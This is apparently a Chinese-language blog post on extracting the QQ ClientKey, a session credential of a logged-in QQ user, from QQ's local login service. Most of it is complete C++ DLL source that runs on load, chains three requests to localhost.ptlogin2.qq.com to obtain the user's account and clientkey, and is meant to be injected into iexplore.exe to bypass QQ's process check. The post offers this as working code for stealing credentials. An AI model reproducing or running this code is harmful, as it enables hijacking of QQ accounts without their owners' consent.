Make ClientKey Greate Again！！！

背景

网上有不少获取QQ ClientKey的方式，主要是两种：

一种是模拟浏览器访问本地登陆QQ的方式获取ClientKey；

第二种就是注入到QQ通过调用它的导出函数获取ClientKey；

上述的两种方式都不难找到各种源码和一些分析，这里

跳过

。

绕过

这里使用第一种，原因：

不会注入到qq，没什么乱七八糟的风险

不少朋友会发现在发送第二个请求（localhost.ptlogin2.qq.com）的时候会出现403，而且在挂上brup suite和fd的时候单点就失效，但是挂上chrome自带的插件却不会！

这是为什么呢？

最大的可能就是对进程进行了校验，这里直接将进程名修改为chrome，发现不行，说明可能还校验了签名等其他乱七八糟的东西，但是当我把程序写成一个dll，在注入到iexplore.exe（这里抄的上述代码，代理是internet iexplore，所以注入的是ie）成功获取，下面是代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

#include<string>
#include<windows.h>
#include<iostream>
#include<WinInet.h>
#pragma comment(lib,"wininet.lib")

char URL_STRING[] = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http://www.qq.com/qq2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40";

void GameStart()
{
	// 初始化URL
	URL_COMPONENTSA crackedURL = { 0 };
	char szHostName[128];
	char szUrlPath[256];
	crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
	crackedURL.lpszHostName = szHostName;
	crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
	crackedURL.lpszUrlPath = szUrlPath;
	crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
	InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);

	// 初始化会话
	HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 发送HTTP请求
	HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);

	// 查询HTTP请求状态
	DWORD dwRetCode = 0;
	DWORD dwSizeOfRq = sizeof(DWORD);
	BOOL bRet = FALSE;
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 读取整个Headers
	char lpHeaderBuffer[1024] = { 0 };
	dwSizeOfRq = 1024;
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);

	// 从Cookie中提取pt_local_token的值
	char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;
	while (pt_local_token != lpHeaderBuffer)
	{
		if (strstr(pt_local_token, "pt_local_token="))
		{
			// 退出之前，修正偏移
			pt_local_token += sizeof("pt_local_token");
			char* pEndBuffer = strstr(pt_local_token, ";");
			*pEndBuffer = 0;
			break;
		}
		pt_local_token--;
	}

	// 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序
	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);


	/* 第二次建立会话 */

	// 初始化URL参数
	char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=";
	strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token

	// 初始化会话
	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 发送HTTP请求,添加头信息
	char lpHeaders[] = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
	HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);

	// 查询HTTP请求状态
	dwRetCode = 0;
	dwSizeOfRq = sizeof(DWORD);
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 获取返回数据的大小
	DWORD dwNumberOfBytesAvailable = 0;
	bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);

	// 读取网页内容
	char* lpBuffer = new char[dwNumberOfBytesAvailable]();
	bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);

	// 从内容中提取已登陆QQ账号,是个js数组,这里只提取第一个
	char* uin = lpBuffer + dwNumberOfBytesAvailable;
	while (uin != lpBuffer)
	{
		if (strstr(uin, "\"account\":"))
		{
			// 退出之前，修正偏移
			uin += sizeof("\"account\":") - 1;
			char* pEndBuffer = strstr(uin, "}");
			*pEndBuffer = 0;
			break;
		}
		uin--;
	}

	// 释放资源,注意关闭句柄时按相反的顺序
	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);


	/* 第三次会话 */

	// 初始化URL参数
	ZeroMemory(lpszUrlPath, MAX_PATH);
	strcat(lpszUrlPath, "/pt_get_st?clientuin=");
	strcat(lpszUrlPath, uin);
	strcat(lpszUrlPath, "&pt_local_tk=");
	strcat(lpszUrlPath, pt_local_token);
	strcat(lpszUrlPath, "&callback=__jp0");

	printf("[+]%s \n", lpszUrlPath);

	// 发送HTTPS请求
	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 添加头信息
	char lpHeaders2[] = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
	HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0);

	// 查询HTTP请求状态
	dwRetCode = 0;
	dwSizeOfRq = sizeof(DWORD);
	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 读取整个Headers
	ZeroMemory(lpHeaderBuffer, 1024);
	dwSizeOfRq = 1024;
	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);

	// 从Cookie中提取ClientKey的值
	char* clientkey = lpHeaderBuffer + dwSizeOfRq;
	while (clientkey != lpHeaderBuffer)
	{
		if (strstr(clientkey, "clientkey="))
		{
			// 退出之前，修正偏移
			clientkey += sizeof("clientkey");
			char* pEndBuffer = strstr(clientkey, ";");
			*pEndBuffer = 0;
			break;
		}
		clientkey--;
	}

	OutputDebugStringA(clientkey);

	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);
	InternetCloseHandle(hInternet);
	delete[] lpBuffer;
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		GameStart();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}